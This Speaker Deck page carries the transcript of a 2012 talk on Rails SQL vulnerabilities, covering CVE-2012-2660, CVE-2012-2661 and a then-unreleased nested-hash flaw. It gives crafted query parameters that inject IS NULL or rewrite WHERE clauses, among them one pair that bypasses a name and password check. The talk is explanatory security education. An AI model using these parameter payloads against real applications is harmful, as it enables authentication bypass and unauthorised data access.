Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
0
61
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
Tweet
Share
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
120
The Evolution of Rails Security
presidentbeef
1
710
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
110
Practical Static Analysis for Continuous Application Security
presidentbeef
0
160
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
350
Continuous Security with Practical Static Analysis
presidentbeef
1
260
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
180
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.1k
Tales from the Crypt
presidentbeef
1
180
Other Decks in Programming
See All in Programming
Mastering AsyncSequence - 使う・作る・他のデザインパターン(クロージャ、Delegate など)から移行する
treastrain
4
1.5k
null or undefined
susisu
22
5.9k
REXML改善のその後
naitoh
0
160
詳解UIWindow
natmark
3
2.2k
私の考える初学者がBlazorできるまでの学習方法
tomokusaba
1
250
労務ドメインを快適に開発する方法 / How to Comfortably Develop in the Labor Domain
yuki21
1
250
マルチモジュールにおけるテスト最適化
fxwx23
0
190
Kotlin 2.0 and Beyond
antonarhipov
2
140
実践 Advanced CallKit 〜快適な通話の実現に向けて〜
mot_techtalk
3
110
オートマトン学習しろ / Do automata learning
makenowjust
3
110
rails_girls_is_my_gate_to_join_the_ruby_commuinty
maimux2x
0
160
複雑さに立ち向かうための ソフトウェア開発入門
shiz
3
640
Featured
See All Featured
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
23
580
We Have a Design System, Now What?
morganepeng
48
7.1k
Docker and Python
trallard
39
3k
Building a Scalable Design System with Sketch
lauravandoore
458
32k
A designer walks into a library…
pauljervisheath
201
24k
What’s in a name? Adding method to the madness
productmarketing
PRO
21
3k
Speed Design
sergeychernyshev
19
410
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
123
18k
Into the Great Unknown - MozCon
thekraken
28
1.4k
No one is an island. Learnings from fostering a developers community.
thoeni
18
2.9k
Building Flexible Design Systems
yeseniaperezcruz
324
37k
Making the Leap to Tech Lead
cromwellryan
128
8.8k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1